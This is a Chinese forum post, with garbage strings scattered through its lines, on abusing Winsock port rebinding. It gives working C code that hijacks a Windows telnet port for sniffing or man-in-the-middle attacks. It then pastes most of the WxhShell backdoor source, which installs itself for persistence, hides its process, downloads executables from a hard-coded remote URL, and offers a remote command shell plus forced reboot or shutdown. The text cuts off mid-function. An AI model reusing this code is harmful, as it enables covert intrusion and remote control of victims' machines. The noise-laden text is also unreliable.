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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C|*U)#3:F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (p>?0h9[  
hxZ5EKBy  
  saddr.sin_family = AF_INET; )[oegfnn-  
u $O` \=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $SQ UN*/>  
*eK\W00  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JZ3CCf  
}>]V_}h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fh,kbn==r?  
_)XQb1]  
  这意味着什么?意味着可以进行如下的攻击: NwP!.  
r$T\@oTL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g(& huS  
6Cfu19Dx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lyo!}T  
Vsw] v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C9OEB6  
M#Kke9%2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y7vUdCj  
MVP|l_2!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jlXzfD T  
v#c'p^T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Td(eNe_4T  
& 6 wD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 = p{55dR  
79`OB##  
  #include !LJEo>D  
  #include u a%@Ay1|  
  #include kD;1+lNz  
  #include    wIQ~a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _@2}zT  
  int main() n/9.;9b$I  
  { 1*U)\vK~  
  WORD wVersionRequested; UI2TW)^2  
  DWORD ret; /o L& <e  
  WSADATA wsaData; pW5ch"HE  
  BOOL val; #!?jxfsFa  
  SOCKADDR_IN saddr; ?TWve)U  
  SOCKADDR_IN scaddr; *^ aEUp6&  
  int err; e%[0 NVo  
  SOCKET s; !$n@-  
  SOCKET sc; (w[#h9j  
  int caddsize; Aqy y\G;  
  HANDLE mt; yzyBr1s  
  DWORD tid;   27J!oin$  
  wVersionRequested = MAKEWORD( 2, 2 ); N> 7sG(!'"  
  err = WSAStartup( wVersionRequested, &wsaData ); ?qC6p|H  
  if ( err != 0 ) { vbBNXy/  
  printf("error!WSAStartup failed!\n"); Eqizx~eqq  
  return -1; pKZRgA#kN  
  } 1aAY7Dm_&  
  saddr.sin_family = AF_INET; 5}C.^J`  
   ^Y%'"QwJS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Oiz|b(  
ml,FBBGq|-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u}r>?/V!  
  saddr.sin_port = htons(23); ]y0bgKTK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) epN!+(v  
  { JkShtLEr  
  printf("error!socket failed!\n"); \<ko)I#%  
  return -1; p~'iK4[&6  
  } >V%lA3  
  val = TRUE; ~ECIL7,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =e)t,YVm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pq"Z,9,F%  
  { zEVQ[y6BcM  
  printf("error!setsockopt failed!\n"); OI^??joQ  
  return -1; ^ YOC HXg  
  } !),eEy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v*";A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;NMv>1fI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y`,;m#frT  
jFDVd;#CS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D~ogq]  
  { 9| g]M:{  
  ret=GetLastError(); 'GI| t  
  printf("error!bind failed!\n"); l*>,K2F  
  return -1; s5/u>d  
  } *"nN To  
  listen(s,2); '\O[j*h^.  
  while(1) lfw|Q@  
  { n nOgmI7  
  caddsize = sizeof(scaddr); 8TBv~Q u  
  //接受连接请求 FMOO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rtu"#XcBw+  
  if(sc!=INVALID_SOCKET) n!-]f.=P  
  { Q&#Arph0e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dAWB.#  
  if(mt==NULL) KS'n$  
  { T095]*Hm  
  printf("Thread Creat Failed!\n"); ^GpLl   
  break; de/oK c  
  } O llS  
  } mv,5Q6!  
  CloseHandle(mt); |*/-~5"  
  } C547})  
  closesocket(s); q4ttmL8  
  WSACleanup(); R-Ys<;  
  return 0; Q7.jSL6  
  }   %9 3R/bx  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^Gi7th,  
  { b>-h4{B[  
  SOCKET ss = (SOCKET)lpParam; iE EP~  
  SOCKET sc; w}]BJ<C  
  unsigned char buf[4096]; 0QP=$X  
  SOCKADDR_IN saddr; BOOb{kcg  
  long num; ?edf$-"z/  
  DWORD val; p*j>s \  
  DWORD ret; ;`O9YbP#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [uwn\-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?y-@c]  
  saddr.sin_family = AF_INET; &MZ{B/;;H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =8v NOvA  
  saddr.sin_port = htons(23); KE.O>M ,I.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U!{~L$S  
  { %iB,hGatE  
  printf("error!socket failed!\n"); NCdDG  
  return -1; GorEHlvVh  
  } v#lrF\G5  
  val = 100; L +mE&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6FYL},.R  
  { Y qmsL<  
  ret = GetLastError(); We++DWp  
  return -1; 1N_T/I8_F  
  } blLl1Ak  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H&8~"h6n  
  { `_f&T}]  
  ret = GetLastError(); K ton$%Li  
  return -1; Egz6rRCvg  
  } `$Um  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q*Oj5;  
  { 4{Q$^wD+.  
  printf("error!socket connect failed!\n"); W__Y^\ ~  
  closesocket(sc); ?0'e_s  
  closesocket(ss); *LMzq9n3o  
  return -1; =0L%<@yA  
  } k`#E#1niN  
  while(1) |$;4/cKfy  
  { _&(L{cFx6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @~Ys*]4UE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6 .9C 4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \K9.]PfbI  
  num = recv(ss,buf,4096,0); H<}|n1w<  
  if(num>0)  ?H!jKX  
  send(sc,buf,num,0); Nd]RbX  
  else if(num==0) )Z/$;7]#  
  break; y #C9@C  
  num = recv(sc,buf,4096,0); H,W8JNPs  
  if(num>0) <)pPq+  
  send(ss,buf,num,0); ^rs{1S  
  else if(num==0) |)v}\-\ #  
  break; mU(v9Jpf7  
  } rizjH+  
  closesocket(ss); ]#[4eaCg  
  closesocket(sc); |)xWQ KzA  
  return 0 ; bo/<3gR  
  } o~9sO=-O  
7IFZK\V  
f[vm]1#  
========================================================== Y}xM&%  
TQ:h[6v  
下边附上一个代码,,WXhSHELL 0i"2s}^+_  
{\`y)k 7  
========================================================== V FM!K$_  
|Eh2#K0x4G  
#include "stdafx.h" ~Ad2L*5S  
!4`:(G59  
#include <stdio.h> {0lu>?<  
#include <string.h> @-L\c>rqT  
#include <windows.h> auB 931|  
#include <winsock2.h> :{^~&jgL  
#include <winsvc.h> w#hg_RK(Jr  
#include <urlmon.h> k]C k%[d  
+8W5amk.P|  
#pragma comment (lib, "Ws2_32.lib") R>Dr1fc}  
#pragma comment (lib, "urlmon.lib") ).`v&-cK4E  
.%dGSDru  
#define MAX_USER   100 // 最大客户端连接数  Lagk   
#define BUF_SOCK   200 // sock buffer Pr>05lg  
#define KEY_BUFF   255 // 输入 buffer =f H5 r_n  
BeLqk3'/  
#define REBOOT     0   // 重启 S(U9Dlyarg  
#define SHUTDOWN   1   // 关机 #>HY+ ;  
~ o2Z5,H  
#define DEF_PORT   5000 // 监听端口 *iY:R  
WVsj  
#define REG_LEN     16   // 注册表键长度 =L@CZ"  
#define SVC_LEN     80   // NT服务名长度 j!kJ@lbP  
{qlcTc  
// 从dll定义API }ng?Ar[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T`pDjT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wx`.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '<vb_8.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [E%g3>/mt  
*/JYP +  
// wxhshell配置信息 z.\r7  
struct WSCFG { ]b]J)dDI  
  int ws_port;         // 监听端口 CS(XN>N  
  char ws_passstr[REG_LEN]; // 口令 6FJ*eWPC  
  int ws_autoins;       // 安装标记, 1=yes 0=no mI{Fs|9h  
  char ws_regname[REG_LEN]; // 注册表键名 JWaWOk(t=?  
  char ws_svcname[REG_LEN]; // 服务名 l53Q"ajG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ywv\9KL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $j(d`@.DN~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hr&&b3W3p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T)%6"rPL3!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <,0/BMz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v&(=^A\eN  
>&:}L%  
}; TBrw ir  
D vvi)/<  
// default Wxhshell configuration 4X*U~}  
struct WSCFG wscfg={DEF_PORT, d(XOZF  
    "xuhuanlingzhe", _&\'Va$  
    1, QcX\z\'vg  
    "Wxhshell", ,Y6]x^W  
    "Wxhshell", 7sQHz.4  
            "WxhShell Service", us~cIGm  
    "Wrsky Windows CmdShell Service", jUKMDl H  
    "Please Input Your Password: ", '(C+qwdRv  
  1, AX%}ip[PC  
  "http://www.wrsky.com/wxhshell.exe", ,52Lm=n  
  "Wxhshell.exe" x7<NaMK\  
    }; RM,aG}6M)M  
tFc<f7k  
// 消息定义模块 , `Z4fz:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gE$Uv*Gj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rr2 !H%:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < `"  
char *msg_ws_ext="\n\rExit."; JNXzZ4U  
char *msg_ws_end="\n\rQuit."; 7P(jMalq  
char *msg_ws_boot="\n\rReboot..."; j0X^,ot@m  
char *msg_ws_poff="\n\rShutdown..."; R`DzVBLl  
char *msg_ws_down="\n\rSave to "; kr~n5WiAZ  
N?-ZvE\C  
char *msg_ws_err="\n\rErr!"; 5@r6'Z  
char *msg_ws_ok="\n\rOK!"; y\uBVa<B  
 K> 4w  
char ExeFile[MAX_PATH]; +ctU7 rVy  
int nUser = 0; &L5 )v\z  
HANDLE handles[MAX_USER]; XEbVsw  
int OsIsNt; Al6%RFt  
3u[8;1}7Q  
SERVICE_STATUS       serviceStatus; mjg@c|rTG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]UEA"^  
%qo.n v  
// 函数声明 -`{W~yz  
int Install(void); h!JyFc  
int Uninstall(void); _EP]|DTfr  
int DownloadFile(char *sURL, SOCKET wsh); ~Gmt,l! b  
int Boot(int flag); spm)X-[1  
void HideProc(void); ,j`48S@  
int GetOsVer(void); oy#(]K3`O  
int Wxhshell(SOCKET wsl); QICxSk  
void TalkWithClient(void *cs); T?f{.a)  
int CmdShell(SOCKET sock); c1i:m'b_5  
int StartFromService(void); # $k1w@  
int StartWxhshell(LPSTR lpCmdLine); GTTEg{  
;` Xm?N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %z1^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?Y -;781  
T30fp  
// 数据结构和表定义 s@"|o3BX  
SERVICE_TABLE_ENTRY DispatchTable[] = =bja\r{  
{ svDnw cl  
{wscfg.ws_svcname, NTServiceMain}, "OYD9Q''  
{NULL, NULL} |>xuH#Q  
}; 41d+z>a]  
xR%NiYNQz  
// 自我安装 [^ r8P:Ad  
int Install(void) PKntz7  
{ zI,Qc60B  
  char svExeFile[MAX_PATH]; Y DHP-0?  
  HKEY key; (pv}>1  
  strcpy(svExeFile,ExeFile); '" %0UflJS  
f42F@M(:  
// 如果是win9x系统,修改注册表设为自启动 ~7KH/%Z-  
if(!OsIsNt) { HBvyX`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =v::N\&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .TdFI"Yn  
  RegCloseKey(key); <'$>&^!^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7]1a3Jk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !*~QB4\2b  
  RegCloseKey(key); hx;kNcPbI  
  return 0; i.W*Go+  
    } gl`J(  
  } W!\%v"  
} kiN,N]-V  
else { G%l')e)9Gq  
<_t]?XHB[  
// 如果是NT以上系统,安装为系统服务 PDw+Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sT!?nn3O`  
if (schSCManager!=0) i~v[3e9y7  
{ '6){~ee S  
  SC_HANDLE schService = CreateService Ck !"MK4  
  ( W).Kq-  
  schSCManager, {D",ao   
  wscfg.ws_svcname, @ewi96  
  wscfg.ws_svcdisp, :vEfJSA 1<  
  SERVICE_ALL_ACCESS, 1 ; <Vr<.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x+za6e_k"  
  SERVICE_AUTO_START, Rrry;Hr  
  SERVICE_ERROR_NORMAL, :w5g!G?z  
  svExeFile, oVZzvK(zR  
  NULL, }za pN v  
  NULL, Y7g%nz[[  
  NULL, ,4'y(X<R  
  NULL, ;qUB[Kw  
  NULL ;T0X7MNx  
  ); ^&mrY[;S  
  if (schService!=0) c-(dm:  
  { H<fi,"X^  
  CloseServiceHandle(schService); Ad-5Zn c5  
  CloseServiceHandle(schSCManager); ulW>8bW&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H c>yZ:c;  
  strcat(svExeFile,wscfg.ws_svcname); @|t]9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GXD<X_[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f'5 6IT  
  RegCloseKey(key); 286reeN/e  
  return 0; $MQ<QP  
    } /{[<J<(8  
  } Wp:vz']V  
  CloseServiceHandle(schSCManager); -V~Fj~b#  
} pL[3,.@WA  
} *My9r.F5o  
d oEuKT  
return 1; yFmy  
} o^(I+<el  
J!~kqNI  
// 自我卸载 `^^t#sT   
int Uninstall(void) 2(~Zl\  
{ >jmHe^rH  
  HKEY key; J%r:"Jm[y1  
mejNa(D ^  
if(!OsIsNt) { ~4FzA,,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =8*ru\L:hr  
  RegDeleteValue(key,wscfg.ws_regname); m='}t \=  
  RegCloseKey(key); k= 9+"4:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t,/8U  
  RegDeleteValue(key,wscfg.ws_regname); +L'Cbv="  
  RegCloseKey(key); ^J hs/HV  
  return 0; -?1R l:rM  
  } Ths~8{dMb  
} BGj!/E  
} F Xr\  
else { gXs9qY%=  
7R79[:uwJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `'XN2-M8  
if (schSCManager!=0) J;wBS w%1  
{ Q=DMfJ"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P=<lY},  
  if (schService!=0) rf@47H  
  { jLM y27Cn  
  if(DeleteService(schService)!=0) { t&w.Wc X)  
  CloseServiceHandle(schService); m(9I+`  
  CloseServiceHandle(schSCManager); /E\04Bs  
  return 0; (*6 .-Xn  
  } a]5y CBm  
  CloseServiceHandle(schService); rf]z5;  
  } SYsO>`/ )  
  CloseServiceHandle(schSCManager); WH39=)D%u  
} i g7|kl  
} *! :j$n;  
jwLZC  
return 1; d(RMD  
} f2o6GC_  
Y7q Q` |  
// 从指定url下载文件 1c]{rO=taN  
int DownloadFile(char *sURL, SOCKET wsh) u]O}Ub`  
{ GKF!GbGR@  
  HRESULT hr; 8O{V#aop  
char seps[]= "/"; 9__Q-J  
char *token; mM?,e7Xhs  
char *file; 3 i>NKS  
char myURL[MAX_PATH]; eE .wnn  
char myFILE[MAX_PATH]; <=6F=u3PtU  
YG= :lf  
strcpy(myURL,sURL); M,ybj5:6  
  token=strtok(myURL,seps); hPG@iX|V  
  while(token!=NULL) )l m7ly8a|  
  { 45[,LJaMd  
    file=token; <Dgf'Gr J  
  token=strtok(NULL,seps); gq*W 0S  
  } j(;ou?Uh  
tg 'gR  
GetCurrentDirectory(MAX_PATH,myFILE); : 4-pnn  
strcat(myFILE, "\\"); Dmy=_j?ej  
strcat(myFILE, file); :~W(#T,$E  
  send(wsh,myFILE,strlen(myFILE),0); [9 :9<#?o^  
send(wsh,"...",3,0); z ULH gG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PcZ<JJ16F$  
  if(hr==S_OK) |unvDXx-  
return 0; ,/V~T<FI  
else pnx^a}|px  
return 1; adri02C/  
baTd;`Pn  
} lg )xQV  
WEG!;XZ  
// 系统电源模块 UfO='&U^  
int Boot(int flag) &#u\@Qze  
{ ALO/{:l(  
  HANDLE hToken; _D{FQRU<YD  
  TOKEN_PRIVILEGES tkp; u^^jt(j  
`.pd %\  
  if(OsIsNt) { nwfu@h0G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0(u}z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d { P$}b  
    tkp.PrivilegeCount = 1; {0fQE@5@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iI'ib-d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?G!p4u?C  
if(flag==REBOOT) { +T*? ?OW@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D(|+z-}M  
  return 0; {hf_Xro&  
} JS\]|~Gd  
else { ,+OVRc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wKfq'W{  
  return 0; L_:~{jV  
} &Y9%Y/Y  
  } %1GKN|7  
  else { r+#g  
if(flag==REBOOT) { ]Y->EME:W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :TKx>~`  
  return 0; XrMw$_0)  
} K+L9cv4 |*  
else { +G!# /u1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !J{[XT  
  return 0; vg X7B4  
} z$g__q-  
} k[<i+C";  
= 4|"<8'  
return 1; 4T$jY}U  
} 6q0)/|,@  
H0lW gJmi|  
// win9x进程隐藏模块 OU]"uV<(  
void HideProc(void) b 5K"lPr  
{ g~9rt_OV  
:~s*yznf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mxJe\[I  
  if ( hKernel != NULL ) &ns??:\+T  
  { 9X#]Lg?b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [;-;{ *{G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L9,GUtK{  
    FreeLibrary(hKernel); ?/@XJcm+  
  } 7rGp^  
=\i%,YY  
return; #1}%=nAsi  
} ;Tq4!w'rH  
apM)$  
// 获取操作系统版本 E/1:4?1 S  
int GetOsVer(void) +m~3InWq  
{ 3FO-9H  
  OSVERSIONINFO winfo; ,|zwY~l t5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4pcIH5)z  
  GetVersionEx(&winfo); #-"C_~-MH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p R`nQM-D  
  return 1; d:]ZFk_*  
  else {m,LpI0wG  
  return 0; >8vq`,e  
} CSWA/#&8>  
ZN'B @E=p  
// 客户端句柄模块 wF6a*b@v  
int Wxhshell(SOCKET wsl) # X{lV]Z  
{ [(8s\>T  
  SOCKET wsh; <5FGL96  
  struct sockaddr_in client; CL(D&8v8~  
  DWORD myID; ||7x51-yj  
mB bGj3u;  
  while(nUser<MAX_USER) mL;oR4{  
{ ,]9p&xu  
  int nSize=sizeof(client); 4/S3hH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7g oRj  
  if(wsh==INVALID_SOCKET) return 1; u-.nR}DM_  
rT4qx2u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g*4^HbVxt  
if(handles[nUser]==0) _IxYnm`pc  
  closesocket(wsh); !@T~m1L eY  
else mpIR: Im  
  nUser++; mv$gL  
  } rJ6N'vw>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (X2[}K  
XA69t2J~F  
  return 0; Ne1W!0YLK  
} W ,]Ua]  
dd6l+z  
// 关闭 socket ka_R|x G\  
void CloseIt(SOCKET wsh) dg0WH_#  
{ ,K&L/*  
closesocket(wsh); }C=+Tn  
nUser--; Q;m8 drU  
ExitThread(0); ?c fFJl  
} nx{X^oc8e  
rC/z8m3z  
// 客户端请求句柄 oHV!>K_D  
void TalkWithClient(void *cs) {p(6bsn_#]  
{ 8KdcU [w]  
5GJa+St?  
  SOCKET wsh=(SOCKET)cs; dg(sRTi{  
  char pwd[SVC_LEN]; ^p%3@)&  
  char cmd[KEY_BUFF]; BGu<1$ G  
char chr[1]; J/Ch /Sa  
int i,j; |NFDrm  
1wggYX  
  while (nUser < MAX_USER) { uCWBM  
[raj: 7yQ  
if(wscfg.ws_passstr) { S\k(0Sv9D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fLkC|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >#.du}t  
  //ZeroMemory(pwd,KEY_BUFF); $JK,9G[Vu  
      i=0; %wJ?+D/  
  while(i<SVC_LEN) { nIUts?mB  
,v9*|>4  
  // 设置超时 TD!c+ ${w  
  fd_set FdRead; G/1V4-@  
  struct timeval TimeOut; yOk]RB<'r  
  FD_ZERO(&FdRead); vsB3n$2@u  
  FD_SET(wsh,&FdRead);  @]V_%,  
  TimeOut.tv_sec=8; `Q>qmf_Fi  
  TimeOut.tv_usec=0; ExOSHKU,e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z?eedVV@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0o 8V8 :  
6D*x5L-1o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J b7^'P  
  pwd=chr[0];  y]ya.YG  
  if(chr[0]==0xd || chr[0]==0xa) { Ff[GR$m  
  pwd=0; +xYg<AFS  
  break; ]9 9; 7  
  } S'IQbHz*  
  i++; 5~i}!n  
    } 3#`Sk`z<  
i)]^b{5nyB  
  // 如果是非法用户,关闭 socket 9N<TJp,q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z =*h9,MY  
} ?y[i6yN9  
4(8BWP~.y2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O<?.iF%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7VfPS5se  
U\"FYTC  
while(1) { v dU)  
jhka;m  
  ZeroMemory(cmd,KEY_BUFF); FaG&U  
srS5-fs  
      // 自动支持客户端 telnet标准   ,esUls'nz'  
  j=0; [O3)s]|  
  while(j<KEY_BUFF) { z{U^j:A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |7miT!y8  
  cmd[j]=chr[0]; 4tp }  
  if(chr[0]==0xa || chr[0]==0xd) { )u=a+T  
  cmd[j]=0; /jn0Xh  
  break; [Lid%2O3ZR  
  } 19\ V@d^  
  j++; i6:O9Km  
    } 7{OD/*|  
a#/~rNRY  
  // 下载文件 )=#zMdK&  
  if(strstr(cmd,"http://")) { Gnie|[3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Om3<der  
  if(DownloadFile(cmd,wsh)) 6[a;83  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90a!_8o  
  else LH q~`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @u-CR8^  
  } D.w6/DxaXa  
  else { '=ydU+X  
.fNLhyd  
    switch(cmd[0]) { Ot~buf'|  
  #sf1,k5'  
  // 帮助 TA"gU8YQ  
  case '?': { x\Kt}/97e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wQOIUvd  
    break; OT3~5j1[  
  } W`jKe-jF  
  // 安装 zm=|#f  
  case 'i': { 9f3rMPVh(  
    if(Install()) +!-U+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -EWC3,3  
    else 4FJA+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )H*BTfmt  
    break; G;^,T/q47  
    } N9PEn[t@  
  // 卸载 yO J|t#  
  case 'r': { F%:o6mT  
    if(Uninstall()) 6LzN#g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_(O7  
    else w+{ o^ O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C ?aa)H  
    break; #>">fs]  
    } N/8B@}@n  
  // 显示 wxhshell 所在路径 Oa' T$'  
  case 'p': { o? wEX%  
    char svExeFile[MAX_PATH]; "lBYn2W  
    strcpy(svExeFile,"\n\r"); T $o;PJc  
      strcat(svExeFile,ExeFile); fa(-&;q  
        send(wsh,svExeFile,strlen(svExeFile),0); pT<I!,~  
    break; -) !;45  
    } 3\a VZx!  
  // 重启 eY'RDQa  
  case 'b': { 'F^"+Xi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #UqE %g`J  
    if(Boot(REBOOT)) 2;ac&j1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &MJ`rj[%  
    else { J!5&Nc  
    closesocket(wsh); #} `pj}tQ  
    ExitThread(0); cwI3ANV  
    } bMN ]co  
    break; :}Z Y*ind  
    } ~Z$Ro/;l  
  // 关机 E.^F:$2  
  case 'd': { D#d \1g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'TDp%s*;  
    if(Boot(SHUTDOWN)) L=kETJ:g  
